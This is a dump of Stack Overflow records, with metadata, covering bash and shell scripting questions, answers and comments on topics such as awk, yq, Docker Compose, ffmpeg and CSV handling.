has body: You wouldn't run a command like this in a Compose file. Remember that a container only runs a single command, and then exits. This makes it hard to use command: to create a configuration file, for example, since that will be the only thing the container does. For this setup, as noted in comments, this is even more complicated because the command: is actually a list of arguments to some other command. You could reverse-engineer what the image does and override its entrypoint:, but that gets very complicated very quickly. Since you're just trying to provide a static config file, you should create it on the host and inject it via a bind mount using Compose volumes:. It looks like you're trying to append content to an existing configuration, so you may need to start by extracting the existing configuration. docker create --name tmp container-image docker cp tmp:/etc/letsencrypt/config.toml ./ docker rm tmp $EDITOR config.toml # and add the lines shown, on the host version: '3.8' services: container: image: container-image command: - --api=true - --dashboard=true volumes: # &lt;-- add if not present - ./config.toml:/etc/letsencrypt/config.toml # &lt;-- add
answers question: http://stackoverflow.com/q/77133248
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/77133248
downvote count: 0

http://stackoverflow.com/comment/135901737
comment on: http://stackoverflow.com/q/77060368
has text: Thanks. Most part it worked. Some small issue with some of the column not splitting correctly when there is only one space between two columns but most part works. Also, first column is having extra space in front.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136065847
comment on: http://stackoverflow.com/q/77145853
has text: You may want to add a -vvv to the mailx command so you get a verbose log. When I have had issues with concurrent programs running shell scripts, I have captured additional information in the concurrent request log. I logged environment variables, which program was being called, file size, and file permissions. Include anything that might be different from the perspective of applmgr such as cfg files and keys.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/136063051
has text: What exactly is the content of `base_name`? In your initial example you use `3145_S2_R1_001`, but in the awk statement, you use `_R_001` as field separator, which is not contained in the basename. Aside from this, using `awk` for this purpose is an overkill. You can manipulate the string using bash parameter substitution and/or bash regular expressions.
comment on: http://stackoverflow.com/q/77181016
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/136163767
type: AnswerComment
has text: @user3813400 How about first storing an array of all types, e.g. `([.member[].certificates[].grade.type] | unique) as $types`. Then, for each member, create an `INDEX` of their certificates, and query that by using the stored array's items (which always unfolds in the same order), e.g. `.member[] | [.firstName, .lastName, (.certificates | group_by(.grade.type) | map(max_by(.grade.level)) | INDEX(.grade.type) | $types[] as $type | [$type, (.[$type] | .grade.level, .awardDate)])]`. Here's another [demo](https://jqplay.org/s/PKI4hYLBpS9). Drop the brackets of the inner array to make it flat.
comment on: http://stackoverflow.com/a/77235822
type: Comment
score: 0

http://stackoverflow.com/comment/136046649
type: Comment
has text: Should the output be split mid-line at the 5MB boundaries so, for example, the last data line of file1 could be `DATAL` and the first data line of file 2 `INE1`? If not and lines don't end at exactly 5M boundaries should the first file contain that last complete line just under or just over 5MB? Does the 5MB output file size include the size of the header and footer or just of the data lines? Does your input contain any multi-byte characters? [edit] your question to provide those answers.
score: 0
comment on: http://stackoverflow.com/q/77171157
type: QuestionComment

http://stackoverflow.com/a/77201523
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136124188
answers question: http://stackoverflow.com/q/77201320
has comment: http://stackoverflow.com/comment/136122108
has body: Use the uq() function as shown by Ole here: parallel --colsep ',' 'echo {=5 uq(); =}' :::: data.csv
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/136122513
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/77201320

http://stackoverflow.com/comment/136111381
type: AnswerComment
has text: Note that my awk code only runs the `find` search once; your `xargs`+`find` runs a separate `find` for every item in the list. For small list, this is okay, for large lists, it might slow things down noticably.
comment on: http://stackoverflow.com/a/77205722
score: 0
type: Comment

http://stackoverflow.com/q/77192433
has title: yq doesn't recognize 'del()' command in gitlab-ci.yml
has body: My yq is kinda throwing a tantrum in my gitlab-ci.yaml. The version of yq within the shell of my gitlab server is 4.16.2 and my local version where I test it is 4.35.2. According to Official yq docs I am indeed using the correct syntax. I mean it works locally, it just doesnt work on my gitlab server for some reason eventho both have yq version 4.x.x My gitlab-ci code where this happens looks as follows: $ if [ $AUTH_ENABLED = true ]; then yq eval -i '.data.auth = "'$SECRET'" ' secret.yaml; else yq -i 'del(.data)' secret.yaml; fi And then it throws: Error: unknown command "del(.data)" for "yq" I'm not sure if I'm missing something here but I just can't figure out what the issue here is.
score: 0
tagged with: gitlab-ci
has comment: http://stackoverflow.com/comment/136087746
accepted answer: http://stackoverflow.com/a/77192738
has comment: http://stackoverflow.com/comment/136083877
answer count: 1
type: AnsweredQuestion
tagged with: yq
has answer: http://stackoverflow.com/a/77192738
tagged with: gitlab
type: Question
tagged with: shell

http://stackoverflow.com/comment/136122513
comment on: http://stackoverflow.com/a/77201523
type: Comment
type: AnswerComment
score: 1
has text: @tvandinther See 10 seconds install in https://git.savannah.gnu.org/cgit/parallel.git/tree/README

http://stackoverflow.com/comment/136052845
score: 0
has text: _"I'm trying to remove them from the git directory using the command git rm --cached"_ are you aware that `git rm --cached` only removes files from the index, not from the working tree?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77175255

http://stackoverflow.com/comment/135981015
type: Comment
score: 0
comment on: http://stackoverflow.com/a/77135067
type: AnswerComment
has text: yes you can modify the prompt by editing the SSH server configuration file, usually located at `/etc/ssh/sshd_config`. In this file, you can use the `PasswordAuthentication` option to control whether password authentication is allowed or not. Additionally, you can use the `Banner` option to specify a custom message or prompt to be displayed before the password prompt.

http://stackoverflow.com/a/77165072
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/136034785
has body: One way to generate an equivalent to your required myfindloop.sh file is: for d in */ ; do printf 'make-ffplay-script %q\n' "${d%/}"; done > myfindloop.sh The %q format for printf produces output that is properly quoted for reading by the shell, but it usually doesn't use double quotes. An example full output line is make-ffplay-script testdir\ with\ space. That is exactly equivalent to make-ffplay-script "testdir with space" as a shell command. See Removing part of a string (BashFAQ/100 (How do I do string manipulation in bash?)) for an explanation of ${d%/}.
type: Answer
has comment: http://stackoverflow.com/comment/136034677
answers question: http://stackoverflow.com/q/77161643
has comment: http://stackoverflow.com/comment/136034737
score: 2

http://stackoverflow.com/comment/135874549
score: 0
comment on: http://stackoverflow.com/a/77070684
type: Comment
type: AnswerComment
has text: I formated my drive a while ago because of weird behave of my computer, I don't know if it's connected but can the back door be on my network and not local only? , also anyone knows how to check that url or what can I do against it

http://stackoverflow.com/comment/135997728
type: QuestionComment
type: Comment
score: 0
has text: firstly is this a command. "ShowWindowAsync(hWnd, 5)", secondly i did found something like ur picture its name is similar 20AAA962-0312-46F5-BF87-A7D273EBF793 and the errors are the smae' how did u resolved it? if im mistaken please correct me
comment on: http://stackoverflow.com/q/77070425

http://stackoverflow.com/comment/136112002
type: Comment
has text: If you're on a UNIX system, you can check the `SHELL` environment variable to see what shell contributed to the environment variables. As for changing, maybe https://stackoverflow.com/q/52330492/11107541 helps?
score: 0
comment on: http://stackoverflow.com/q/77205859
type: QuestionComment

http://stackoverflow.com/a/77156715
has body: you need to double-quote the variable when you echo it, because by adding the double quotes around "$top_output", the variable will be expanded with the newlines intact! #!/bin/bash getTopProcess(){ top_output=$(top -n 1 -b -o %CPU | awk 'NR>=8 && NR <=12') echo "$top_output" } getTopProcess output 99476 root 20 0 16448 10084 8236 S 12.5 0.5 0:00.05 sshd 559 root 20 0 80056 1512 1316 S 6.2 0.1 12:01.06 qemu-ga 636 mysql 20 0 1361792 417352 19292 S 6.2 21.3 101:01.98 mysqld 99480 root 20 0 10344 4088 3488 R 6.2 0.2 0:00.02 top 1 root 20 0 167600 13096 8416 S 0.0 0.7 2:35.51 systemd You can also use the readarray command, because it is used to read the output of the top command into the top_output array. #!/bin/bash getTopProcess(){ readarray -t top_output < <(top -n 1 -b -o %CPU | awk 'NR>=8 && NR <=12') for line in "${top_output[@]}"; do echo "$line" done } getTopProcess
accepted answer of: http://stackoverflow.com/q/77156632
type: AcceptedAnswer
score: 0
type: Answer
answers question: http://stackoverflow.com/q/77156632

http://stackoverflow.com/a/77083971
upvote count: 2
downvote count: 0
answers question: http://stackoverflow.com/q/77083852
type: Answer
accepted answer of: http://stackoverflow.com/q/77083852
has body: You basically had it, but with the wrong order of arguments. This should work, and removes the extension for $((...)), then adds it back: for f in *; do mv -- "$f" "$((${f/%.wav})).wav"; done
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135890586
score: 2

http://stackoverflow.com/comment/136061179
type: Comment
has text: Also, which line is line 37? The script you have posted does not seem to have so many lines.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77171543

http://stackoverflow.com/comment/136004120
has text: You are right, I know that.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77147299

http://stackoverflow.com/comment/136107987
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77205722
has text: @tripleee you'll note I referenced posix - all I'm checking is that `ls` printed an error - which posix guarantees when a file is "not found"
type: Comment

http://stackoverflow.com/comment/136050850
type: AnswerComment
comment on: http://stackoverflow.com/a/77173782
score: 0
has text: @PaulHodges the example input is 2 lines so I just take it as a file of tag-value pairs that aren't always each on a separate line.
type: Comment

http://stackoverflow.com/comment/136132874
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77199964
has text: So you really have a root based `/data` dir with 777 perms? in any case without being there, I don't think I can help. There may be some other system security process that is blocking you. Highly recommend you delete here and repost to [unix.se] (Stackoverflow is dedicated to helping solve `if/then/else` programming code (and tools) problems. Your question seems to be about using and configuring *nix tools. ). Good luck.

http://stackoverflow.com/q/77181016
has body: The file name format is like this: 4digitnumber_S_R1_001.fastq.gz. To give you an example 3145_S2_R1_001.fastq.gz I'm trying to have my output file name not include _R1_001 part but it keeps including the full file name. I am not sure why it's not giving me the correct output file name format that I want. Here is my code: #!/bin/bash # Set the input directory containing .fastq.gz files input_dir="/storage/home/user/work/fastq_data" # Set the output directory for .sam and summary files output_dir="/storage/home/user/work/fastq_data/gene_alignment" # Create the output directory if it doesn't exist mkdir -p "$output_dir" # Get the full path of the output directory output_dir="/storage/home/user/work/fastq_data/gene_alignment" # Use find to iterate over .fastq.gz files in the input directory find "${input_dir}" -type f -name "*.fastq.gz" | while read -r input_file; do # Remove the directory path and extension to get the base file name base_name=$(basename "$input_file" .fastq.gz) # Remove "_R_001" from the base_name using awk new_name=$(echo "$base_name" | awk -F '_R_001' '{print $1}') # Construct the output file names output_sam="${output_dir}/${new_name}.sam" summary_file="${output_dir}/${new_name}.summary" # Run HISAT2 hisat2 -p 8 -x musculus_index -U "${input_file}" -S "${output_sam}" --dta-cufflinks 2>&1 | tee "${summary_file}" echo "Processed ${input_file}" done echo "Processing complete." I tried various ways to have new_name =, for my output file names, using sed or "${base_name/_R_001/}" etc. Not sure where I am getting it wrong. Would appreciate any advice. Thank you.
tagged with: linux
has title: Output file name not being correctly named for Bash
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/77195227
has comment: http://stackoverflow.com/comment/136063637
has comment: http://stackoverflow.com/comment/136063106
has comment: http://stackoverflow.com/comment/136064501
accepted answer: http://stackoverflow.com/a/77195227
has comment: http://stackoverflow.com/comment/136063377
score: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/136063588
has comment: http://stackoverflow.com/comment/136063052
answer count: 1
linked to: http://stackoverflow.com/q/5725296
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136063051

http://stackoverflow.com/comment/136043135
has text: Please edit your question to show what you tried and to clearly explain what was wrong with your attempts. Note: if you don't have tabs in your column names or in values you can try `sed 's/\t/\n/g' cols.txt`.
score: 1
comment on: http://stackoverflow.com/q/77169893
type: QuestionComment
type: Comment

http://stackoverflow.com/a/77171622
has comment: http://stackoverflow.com/comment/136080107
downvote count: 0
answers question: http://stackoverflow.com/q/77171543
has body: Using a different way to get the code of the key works for me: VALUE=$(printf %d "'$KEYIN") if $VALUE -eq 27 ; then # trap esc key printf "esc caught\n" fi
upvote count: 2
type: Answer
score: 2

http://stackoverflow.com/comment/136019477
score: 0
has text: you need to double-quote the variable when you echo it.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77156632

cmake
tags question: http://stackoverflow.com/q/77138083
tags question: http://stackoverflow.com/q/77224520
tag name: cmake
type: Tag
tags question: http://stackoverflow.com/q/77379113
tags question: http://stackoverflow.com/q/78241549
tags question: http://stackoverflow.com/q/79486782

http://stackoverflow.com/comment/136133499
has text: adding an assertion that there aren't any files with same name protects against that ceasing to be true when the code is reused somewhere else: cf. https://softwareengineering.stackexchange.com/q/341576
score: 0
comment on: http://stackoverflow.com/a/77219653
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136129912
comment on: http://stackoverflow.com/a/77218091
type: AnswerComment
score: 1
has text: This is correct as far as it goes, but it's quite deeply suboptimal to run top twice, rather than to run it _once_ and use the output twice.
type: Comment

http://stackoverflow.com/a/77070447
type: Answer
has comment: http://stackoverflow.com/comment/135892398
has body: ssh -i $private_key_file $public_dns "conda activate ENVIRONMENT_NAME" Returns: bash: line 1: conda: command not found Because the conda command is not found in the path. However, if I ssh in with ssh -i $private_key_file $public_dns and then run conda activate ENVIRONMENT_NAME separatly this works fine. Plausible. What is happening? Your conda command is not present in the system's default path. Likely you have installed a personal copy rather than a system-wide copy. Your personal shell setup scripts, .bash_profile and / or .bashrc prepare your interactive shells to run the conda command, but these are not read when you launch a shell non-interactively, as ssh does on your behalf in the first example. You could do something like ssh -i $private_key_file $public_dns ". .bashrc && conda activate ENVIRONMENT_NAME" , but I don't see the point, because the shell in which you activate conda terminates immediately afterward, mooting the whole exercise. Whatever it is you want to run in your conda environment, consider writing a wrapper script on the E2 side that takes care of running it in the right environment.
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/77069279
upvote count: 1

http://stackoverflow.com/comment/136107268
comment on: http://stackoverflow.com/q/77204604
has text: please define "could not be found". `mkdir d; touch d/f.sql; chmod 0 d`. Can `d/f.sql` "be found"?
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135891761
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77084586
has text: Put `set -x` under the shebang (`#!/bin/bash`,).

http://stackoverflow.com/comment/135971684
has text: check your file `in.txt` does not have DOS line endings
type: QuestionComment
comment on: http://stackoverflow.com/q/77129396
score: 2
type: Comment

http://stackoverflow.com/q/77120045
has body: I'm trying to add chapters to an mp4 file using bash and ffmpeg. The chapters are located in a file called chapters.txt. When the bash script is run which is called add_chapters.sh it reads the chapters.txt file and creates a file called chapters.ffmetadata. The issue is that the START and END times in the file chapters.ffmetadata aren't being created correctly. How can I fix this? I have a file called chapters.txt that has the chapters in it. 00:00:00=Intro 00:02:12=What are selections 00:03:19=Booleans The bash file I run is add_chapters.sh The code in it is: #!/bin/bash input_file="chapters.txt" output_file="chapters.ffmetadata" # Create the FFmetadata chapter file echo ";FFMETADATA1" > "$output_file" previous_seconds=0 while IFS="=" read -r timestamp chapter_name; do # Convert start time to seconds seconds=$(date -u -d "1970-01-01 $timestamp" +"%s") # Calculate the end time (previous chapter's start time) end_seconds=$previous_seconds # Update previous_seconds for the next iteration previous_seconds=$seconds echo "[CHAPTER]" >> "$output_file" echo "TIMEBASE=1/1000" >> "$output_file" echo "START=${end_seconds}000" >> "$output_file" echo "END=${seconds}000" >> "$output_file" echo "title=$chapter_name" >> "$output_file" done < "$input_file" echo "Chapter file '$output_file' created successfully." # Run FFmpeg to add chapters to the video ffmpeg -i input_video.mp4 -i chapters.ffmetadata -map_metadata 1 -c:v copy -c:a copy -y output_video.mp4 It creates a file called chapters.ffmetadata ;FFMETADATA1 [CHAPTER] TIMEBASE=1/1000 START=0000 END=0000 title=Intro [CHAPTER] TIMEBASE=1/1000 START=0000 END=132000 title=What are selections [CHAPTER] TIMEBASE=1/1000 START=132000 END=199000 title=Booleans [CHAPTER] TIMEBASE=1/1000 START=199000 END=0000 title= The START and END times aren't being calculated correctly. How can I fix this? UPDATE #1 I'm almost there thanks to @Freeman code / answer. The issues in the generated chapters.ffmetadata file are just. The first START= and …
accepted answer: http://stackoverflow.com/a/77121868
has comment: http://stackoverflow.com/comment/135953703
type: Question
upvote count: 0
tagged with: shell
has answer: http://stackoverflow.com/a/77120927
tagged with: ffmpeg
score: -1
answer count: 2
possible better answer: http://stackoverflow.com/a/77120927
has title: How can I add chapters to a mp4 file using bash script and ffmpeg
tagged with: bash
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77121868
has comment: http://stackoverflow.com/comment/135953544

http://stackoverflow.com/a/77172219
type: Answer
answers question: http://stackoverflow.com/q/77171157
upvote count: 1
has body: This (untested) might be what you want, assuming the "5MB" output file size excludes the head and tail line sizes, using GNU awk for "inplace" editing and ENDFILE: mkdir output && cd output && hd=$(head -n 1 ../TEST-REPORT-D-INR-TEMP_20230905211012.CSV) && sed '1d;$d' ../TEST-REPORT-D-INR-TEMP_20230905211012.CSV | split -d -a3 -b 5M --additional-suffix=_$(date '+%Y%m%d%H%M%S').CSV - TEST-REPORT-D-INR-TEMP_ && awk -v head="$hd" -i inplace 'FNR==1{print head} {print} ENDFILE{print "T|" FNR}' * I'm using sed to remove the first and last line of the input file before the split (which is why split uses - instead of a file name for input) so that: The awk script doesn't have to deal with removing the last input file before printing the new tail line to the final output file. The awk script isn't affected by the order in which * expands to it's input file names. It's easy to replace the awk script with a shell loop if necessary. You could, if you like, update the split call to remove the size of the input head and tail lines from the 5MB so after they're added back to the output files you get output file sizes as close as possible to 5MB each (the size difference between each output file except the last being how many chars are in the number of lines shown after the T| at the end of each output file). The above assumes the number of output files from the split won't exceed ARG_MAX when awk is called to operate on them. If you don't have GNU awk or ARG_MAX is exceeded, then replace this: awk -v head="$hd" -i inplace 'FNR==1{print head} {print} ENDFILE{print "T|" FNR}' * with this: tmp=$(mktemp) && for file in *; do { printf '%s\n' "$hd"; cat "$file"; printf 'T|%d\n' $(wc -l "$file"); } > "$tmp" && mv -- "$tmp" "$file" done I kept the split arguments as you had them and didn't think about them under the assumption you know what you're doing with that part of it.
score: 1
downvote count: 0

http://stackoverflow.com/comment/135895122
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77084586
has text: Without modifying the script: Run it by `bash -x x.sh` or `bash -v x.sh`, depending on your needs.
type: QuestionComment

http://stackoverflow.com/comment/136028748
has text: You way to parse `ls` is wrong, and you need to quote properly all variables, even `${folders[@]}` as `"${folders[@]}"`. Did you tried my answer?
comment on: http://stackoverflow.com/a/77161473
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136169134
has text: `awk is /usr/bin/awk`
comment on: http://stackoverflow.com/a/77225838
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136080105
type: Comment
has text: @shellter Your code is working in forwarding the message to the right broker for both messages. But the problem is once it received a pubblished message of any of the 2 topics it will continue forwarding it in an infinite loop
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77188909

http://stackoverflow.com/comment/136000943
score: 0
type: QuestionComment
type: Comment
has text: Does this answer your question? [How to find the difference in days between two dates?](https://stackoverflow.com/questions/4946785/how-to-find-the-difference-in-days-between-two-dates)
comment on: http://stackoverflow.com/q/77142682

http://stackoverflow.com/comment/135890721
has text: If you're going to run `psql` locally, can you `kubectl port-forward` a connection to the database container?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77082516
type: Comment

http://stackoverflow.com/comment/136237211
has text: `LOOKED_UP=$(grep -A1 'something' this.ini | tail -1 | cut -d '=' -f 2)`
comment on: http://stackoverflow.com/q/77141159
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136068984
score: 0
comment on: http://stackoverflow.com/a/77170416
type: Comment
type: AnswerComment
has text: Tip: `[.[] | … ]` can be written `map( … )`

http://stackoverflow.com/comment/136100128
comment on: http://stackoverflow.com/a/77201978
score: 1
has text: Omg, you have no idea how long debugging this took me. I tried that before didn't work, rebuild and re-did everything and then left the comment assuming it counted as function body. Thanks a lot, this solved my issue!
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136058669
comment on: http://stackoverflow.com/q/77178372
has text: You don't show the implementation of `my-cli`. Is it ensured that it reads standard input?
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/a/77168110
has body: This is explicitly called out in the FAQ section of fish's documentation, with pkg-config as an example: Unlike other shells, fish splits command substitutions only on newlines, not spaces or tabs or the characters in $IFS. However sometimes, especially with pkg-config and related tools, splitting on spaces is needed. In these cases use string split -n &quot; &quot; like: g++ example_01.cpp (pkg-config --cflags --libs gtk+-2.0 | string split -n &quot; &quot;) So your command becomes: gcc basic-tutorial-1.c -o basic-tutorial-1 $(pkg-config --cflags --libs gstreamer-1.0 | string split -n &quot; &quot;) Is using eval in this way actually going to do what I want consistently? Definitely not. If your command prints something that looks like any sort of expansion it will be executed. So if it printed e.g. a * or a $ or a () it would run the actual expansion. In your particular case it is not impossible for the path to contain any of these characters.
score: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/77168035
upvote count: 4
downvote count: 0
answers question: http://stackoverflow.com/q/77168035
type: Answer

http://stackoverflow.com/comment/136162900
type: AnswerComment
comment on: http://stackoverflow.com/a/77229144
score: 0
has text: @Aviator - This now has 3 parts to the problem as outlined above. I have re-scripted my answer based on the continued troubleshooting done via comments. This does, however, make stackOverow messy (title of problem does not match some of the problems). This is, unfortunately, how Stackoverflow is set up - single problem, single answer. Strictly speaking, the XDMP-EVALQUERY item warrents a new post (new topic). For MarkLogic, it might be good to know that forum posts with a more casual approch to helping eachother can be found here: https://community.progress.com/s/products/marklogic
type: Comment

http://stackoverflow.com/comment/135912767
has text: For reading lines containing \0 it is preferable to use getline, which returns the number of bytes read. https://linux.die.net/man/3/getline
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77094897

execve
type: Tag
tag name: execve
tags question: http://stackoverflow.com/q/77060642

http://stackoverflow.com/q/77200388
tagged with: http://stackoverflow.com/tag/csv
answer count: 2
has answer: http://stackoverflow.com/a/77200480
tagged with: bash
has title: Merge multiple csv files in google cloud storage keeping header of one file | Bash Script
tagged with: google-cloud-storage
has answer: http://stackoverflow.com/a/77200980
has body: Want to merge multiple csv files placed in google cloud storage using bash scripting. I have created a script which is not working as it is only merging first and last file and ignores all the files in between. Like for merging 2 files its working fine but if file count increases more than 2 then it only merges file1 and file3 and simples ignores file2. Below is the script for reference: #!/bin/bash # Check if the bucket name is provided as an argument if [ -z "$1" ]; then echo "Usage: $0 <bucket_name>" exit 1 fi # Assign the first argument (bucket name) to BUCKET_NAME BUCKET_NAME="$1" STARTING_TEXT="$2" TARGET_FILE_NAME="$3" # Generate a timestamp TIMESTAMP=$(date +"%Y%m%d%H%M%S") # List all files starting with 'STARTING_TEXT' FILES=($(gsutil ls gs://$BUCKET_NAME/$STARTING_TEXT*.csv)) # Initialize the merged file with the first file's content (including header) gsutil cp ${FILES[0]} /tmp/merged_file_with_header.csv # Print the names of the files being merged echo "Merging the following files:" for FILE in "${FILES[@]}" do echo "$FILE" done # Loop through the remaining files (starting from the second file) for ((i=1; i<${#FILES[@]}; i++)) do # Download the current file without the header gsutil cat ${FILES[i]} | tail -n +2 > /tmp/temp_file.csv # Append the content to the merged file cat /tmp/merged_file_with_header.csv /tmp/temp_file.csv > /tmp/merged_file.csv # Upload the merged file back to the bucket gsutil cp /tmp/merged_file.csv gs://$BUCKET_NAME/$TARGET_FILE_NAME_$TIMESTAMP.csv # # Update the merged file with header for next iteration # gsutil cp gs://$BUCKET_NAME/file_with_header.csv /tmp/merged_file_with_header.csv done # Clean up temporary files rm /tmp/temp_file.csv /tmp/merged_file.csv /tmp/merged_file_with_header.csv Help me correct it out wherever I am missing.
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/a/77135914
has comment: http://stackoverflow.com/comment/135982396
answers question: http://stackoverflow.com/q/77135598
has body: You have a couple of extra spaces after the backslashes. Try copy-pasting the script in vi, then in insert mode place the cursor before --window, delete spaces until the dash is just after \ of the previous line. Hit enter to make sure everything is well formatted. Repeat for the other lines
upvote count: 2
has comment: http://stackoverflow.com/comment/135985325
type: Answer
score: 2
downvote count: 0

http://stackoverflow.com/comment/136095065
type: QuestionComment
type: Comment
has text: take a look at my [mquote (Magic Quote)](https://github.com/clarkwang/magic-aliases), no more quoting headaches.
score: 0
comment on: http://stackoverflow.com/q/77197549

php-extension
type: Tag
tags question: http://stackoverflow.com/q/77100448
tag name: php-extension

http://stackoverflow.com/a/77122428
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/77115001
has comment: http://stackoverflow.com/comment/135958179
accepted answer of: http://stackoverflow.com/q/77115001
has comment: http://stackoverflow.com/comment/135958237
type: AcceptedAnswer
has body: There is no PID 0. The first PID is 1, which is a special daemon. If a PID 0 process existed, it would not be possible to send it signals because kill(0, signal) means to send a signal to every member of the process group of the calling process. In other words, a pid_t value of 0, as well as negative values, have a reserved meaning in process-related interfaces. It looks like in this situation, the zero value of sig_pid indicates that the signal wasn't generated by a process. TTY signals are generated by the TTY subsystem (code in the kernel), not by a specific process.

http://stackoverflow.com/comment/136076425
score: 1
type: QuestionComment
type: Comment
has text: "Returned a non-zero code" pretty much just means "it didn't work". Can you [edit] the question to include the complete error? That specific package seems slightly unusual since there aren't usually user passwords in Docker, almost nothing would ever use an `/etc/shadow` file.
comment on: http://stackoverflow.com/q/77188462

http://stackoverflow.com/q/77224625
has comment: http://stackoverflow.com/comment/136141551
has comment: http://stackoverflow.com/comment/136144693
tagged with: jtc
tagged with: bash
has title: Use jtc (or shell) to build key/value pairs from json where element1 is key and element 2 is value
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/136142482
has answer: http://stackoverflow.com/a/77226269
score: 0
type: Question
tagged with: shell
has body: Given this json [ {"name" : "Steve", "id" : "25"}, {"name" : "Joe", "id" : "36"} ] How can I use jtc (or other shell thing) to get output like this? (Or output suitable for processing to get this) Steve : 25 Joe : 26 I can pull the value for a given element with a basic jtc -w'<name>' but when I try to build that out I go nowhere.
type: UnansweredQuestion
answer count: 1

http://stackoverflow.com/comment/136081193
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77190915
score: 1
has text: @Hado99, ...or `while read -r funcname; do declare -f "$funcname"; done < <(declare -F | grep -v "exclude some stuff")`, if you want to keep compatibility with bash 3.2; either way, that keeps it all inside one process [plus or minus some subshells, but being fork'd with no exec they inherit all parent state] so you don't need to start a separate copy of bash (requiring exporting your functions to make them available to that copy).

http://stackoverflow.com/comment/136156033
has text: That happens when it relays between the pty and the socket.
comment on: http://stackoverflow.com/q/77231881
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/136099141
type: Comment
has text: Can you preprocess data.csv, so that you remove the single quotes? Kind of `tr -d "'" data.csv >temp_data.csv; parallel .... :::: temp_data.csv`?
score: 0
comment on: http://stackoverflow.com/q/77201320
type: QuestionComment

http://stackoverflow.com/q/77072494
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135871781
answer count: 1
has title: Default shell in VS Code is not the same as gnome shell
has answer: http://stackoverflow.com/a/77640757
score: 0
has body: As seen in the above image, none of the regular commands work in vs code's integrated terminal. However the commands work perfectly fine in my gnome shell. I tried to change the default shells in vs code to /usr/bin/bash and even /usr/bin/sh but both of them still give me the same problem. This is the version of visual studio code which I am using (This problem also existed on v1.81.1) Here is the output of neofetch OS: Fedora Linux 38 (Workstation Edition) x86_64 Host: VivoBook_ASUS Laptop X510UFO 1.0 Kernel: 6.4.10-200.fc38.x86_64 Uptime: 1 hour, 48 mins Packages: 2891 (rpm), 17 (flatpak) Shell: bash 5.2.15 Resolution: 1920x1080 DE: GNOME 44.3 WM: Mutter WM Theme: Adwaita Theme: Adwaita [GTK2/3] Icons: Adwaita [GTK2/3] Terminal: gnome-terminal CPU: Intel i5-8250U (8) @ 3.400GHz GPU: Intel UHD Graphics 620 GPU: NVIDIA GeForce MX130
tagged with: visual-studio-code
type: Question
tagged with: shell
tagged with: terminal
tagged with: fedora

http://stackoverflow.com/q/77186551
has answer: http://stackoverflow.com/a/77186619
has comment: http://stackoverflow.com/comment/136073585
duplicate of: http://stackoverflow.com/q/16487258
has body: i am trying to make a multidimaensional array in bash and access the elements. but its not working. I tried with this code but there's error # Create an indexed array to hold the inner arrays array=() # Initialize the inner arrays array[0]=(1 2 3) array[1]=(4 5 6) array[2]=(7 8 9) # Access elements element_12="${array[1][2]}" echo "Element at [1][2]: $element_12" # Loop through the elements for ((i = 0; i < ${#array[@]}; i++)); do inner_array=("${array[i][@]}") # Copy the inner array for ((j = 0; j < ${#inner_array[@]}; j++)); do echo "Element at [$i][$j]: ${inner_array[j]}" done done
type: Question
tagged with: element
tagged with: shell
downvote count: 1
tagged with: multidimensional-array
linked to: http://stackoverflow.com/q/11233825
has comment: http://stackoverflow.com/comment/136073599
score: -1
upvote count: 0
tagged with: linux
duplicate of: http://stackoverflow.com/q/11233825
has comment: http://stackoverflow.com/comment/136073015
has title: why my bash multidimensional array code is not working?
tagged with: bash
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136073110
linked to: http://stackoverflow.com/q/16487258
accepted answer: http://stackoverflow.com/a/77186619

http://stackoverflow.com/comment/136047111
has text: First, remove the header and the footer completely. Then split the file. Then add the header and footer to each file. Inefficient, but simple and robust (?).
type: Comment
comment on: http://stackoverflow.com/q/77171157
score: 0
type: QuestionComment

http://stackoverflow.com/a/77167116
answers question: http://stackoverflow.com/q/77129396
score: 0
has body: The input file had dos line endings. The proper code tested with all possible inputs is same as what I tried initially with $line instead of "$line". grep -irwnF -f in.txt /home/user/folder > out.txt partially works because it's skipping some outputs matched in files in various folders.
type: Answer

http://stackoverflow.com/comment/136104493
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77203420
